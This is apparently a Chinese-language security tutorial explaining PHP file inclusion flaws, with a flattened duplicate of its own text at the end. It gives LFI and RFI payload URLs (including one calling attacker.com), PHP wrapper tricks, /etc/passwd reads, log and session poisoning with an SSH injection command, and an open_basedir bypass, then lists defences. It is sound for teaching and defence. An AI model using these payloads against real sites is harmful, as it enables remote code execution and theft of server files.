文件包含
字数 1443 2025-08-12 11:33:41

PHP文件包含漏洞全面解析与利用技术

一、文件包含基础概念

1.1 文件包含的定义与作用

文件包含是PHP开发中的常见技术,开发者使用includerequire等函数将重复利用的代码包含到当前文件中,以提高开发效率和代码复用性。

1.2 文件包含函数对比

函数 文件不存在时 重复包含时
include 跳过,继续执行 再次包含
require 报错,停止执行 再次包含
include_once 跳过,继续执行 不包含
require_once 报错,停止执行 不包含

二、文件包含漏洞原理

当开发者使用变量作为文件包含参数且过滤不严时,攻击者可利用此特性包含恶意文件并执行。PHP底层机制会将任何被包含的文件当作PHP代码解析,即使文件扩展名不是.php。

三、本地文件包含(LFI)

3.1 基本利用

示例代码:

include $_GET['filename'];

攻击方式:

http://example.com/include.php?filename=trojan.jpg

其中trojan.jpg包含PHP恶意代码,会被服务器解析执行。

3.2 特殊字符截断技术

当代码固定添加后缀时:

include $_GET['filename'] . '.html';

可利用?#截断:

http://example.com/include.php?filename=http://attacker.com/a.txt%23

实际包含内容为a.txt,忽略.html后缀。

四、远程文件包含(RFI)

4.1 前提条件

  • allow_url_fopen = On
  • allow_url_include = On

4.2 基本利用

http://example.com/include.php?filename=http://attacker.com/shell.php

五、PHP伪协议利用

5.1 php://input

获取POST请求体内容并执行:

http://example.com/include.php?filename=php://input

POST请求体:

<?php system('id'); ?>

5.2 data://

直接执行代码:

http://example.com/include.php?filename=data:text/plain,<?php phpinfo();?>

或使用base64编码:

http://example.com/include.php?filename=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

5.3 zip://

读取压缩文件内容:

http://example.com/include.php?filename=zip://archive.zip%23file.php

可绕过扩展名检查,如使用.jpg扩展名:

http://example.com/include.php?filename=zip://archive.jpg%23shell.php

5.4 phar://

类似zip协议,但使用/分隔:

http://example.com/include.php?filename=phar://archive.zip/file.php

5.5 php://filter

读取文件源码(不执行):

http://example.com/include.php?filename=php://filter/read=convert.base64-encode/resource=config.php

5.6 file://

读取本地文件:

http://example.com/include.php?filename=file:///etc/passwd

六、日志文件包含技术

6.1 Apache日志包含

  1. 通过User-Agent或请求路径注入PHP代码
  2. 包含日志文件执行代码:
http://example.com/include.php?filename=/var/log/apache2/access.log

6.2 SSH日志包含

  1. 通过SSH连接注入代码:
ssh "<?php phpinfo();?>"@target_ip
  1. 包含SSH日志:
http://example.com/include.php?filename=/var/log/auth.log

七、Session文件包含

7.1 利用条件

  • 代码中有$_SESSION['name']等操作
  • 知道session存储路径(通过phpinfo)
  • 获取session ID(通过Cookie)

7.2 利用步骤

  1. 修改session内容为PHP代码
  2. 包含session文件:
http://example.com/include.php?filename=/tmp/sess_[sessionid]

八、open_basedir绕过技术

8.1 命令执行绕过

PHP系统命令不受open_basedir限制:

system('cat /etc/passwd');

8.2 ini_set()配合chdir()

使用固定POC:

mkdir('bypass');
chdir('bypass');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');

8.3 glob协议

遍历目录不受限制:

http://example.com/include.php?filename=glob:///*.txt

8.4 工具利用

使用哥斯拉(GoDzilla)等工具自动化绕过。

九、防御措施

  1. 避免使用动态包含变量
  2. 设置open_basedir限制访问范围
  3. 关闭不必要的PHP配置:
    • allow_url_fopen = Off
    • allow_url_include = Off
  4. 对包含参数进行严格过滤
  5. 使用白名单机制限制可包含文件

十、总结

文件包含漏洞危害严重,可导致任意代码执行、敏感信息泄露等后果。攻击技术多样,包括本地/远程文件包含、各种伪协议利用、日志文件包含等。防御需要从配置、代码、权限等多方面入手,建立纵深防御体系。

PHP文件包含漏洞全面解析与利用技术 一、文件包含基础概念 1.1 文件包含的定义与作用 文件包含是PHP开发中的常见技术,开发者使用 include 、 require 等函数将重复利用的代码包含到当前文件中,以提高开发效率和代码复用性。 1.2 文件包含函数对比 | 函数 | 文件不存在时 | 重复包含时 | |------|------------|-----------| | include | 跳过,继续执行 | 再次包含 | | require | 报错,停止执行 | 再次包含 | | include_ once | 跳过,继续执行 | 不包含 | | require_ once | 报错,停止执行 | 不包含 | 二、文件包含漏洞原理 当开发者使用变量作为文件包含参数且过滤不严时,攻击者可利用此特性包含恶意文件并执行。PHP底层机制会将任何被包含的文件当作PHP代码解析,即使文件扩展名不是.php。 三、本地文件包含(LFI) 3.1 基本利用 示例代码: 攻击方式: 其中 trojan.jpg 包含PHP恶意代码,会被服务器解析执行。 3.2 特殊字符截断技术 当代码固定添加后缀时: 可利用 ? 或 # 截断: 实际包含内容为 a.txt ,忽略 .html 后缀。 四、远程文件包含(RFI) 4.1 前提条件 allow_url_fopen = On allow_url_include = On 4.2 基本利用 五、PHP伪协议利用 5.1 php://input 获取POST请求体内容并执行: POST请求体: 5.2 data:// 直接执行代码: 或使用base64编码: 5.3 zip:// 读取压缩文件内容: 可绕过扩展名检查,如使用 .jpg 扩展名: 5.4 phar:// 类似zip协议,但使用 / 分隔: 5.5 php://filter 读取文件源码(不执行): 5.6 file:// 读取本地文件: 六、日志文件包含技术 6.1 Apache日志包含 通过User-Agent或请求路径注入PHP代码 包含日志文件执行代码: 6.2 SSH日志包含 通过SSH连接注入代码: 包含SSH日志: 七、Session文件包含 7.1 利用条件 代码中有 $_SESSION['name'] 等操作 知道session存储路径(通过phpinfo) 获取session ID(通过Cookie) 7.2 利用步骤 修改session内容为PHP代码 包含session文件: 八、open_ basedir绕过技术 8.1 命令执行绕过 PHP系统命令不受open_ basedir限制: 8.2 ini_ set()配合chdir() 使用固定POC: 8.3 glob协议 遍历目录不受限制: 8.4 工具利用 使用哥斯拉(GoDzilla)等工具自动化绕过。 九、防御措施 避免使用动态包含变量 设置 open_basedir 限制访问范围 关闭不必要的PHP配置: allow_url_fopen = Off allow_url_include = Off 对包含参数进行严格过滤 使用白名单机制限制可包含文件 十、总结 文件包含漏洞危害严重,可导致任意代码执行、敏感信息泄露等后果。攻击技术多样,包括本地/远程文件包含、各种伪协议利用、日志文件包含等。防御需要从配置、代码、权限等多方面入手,建立纵深防御体系。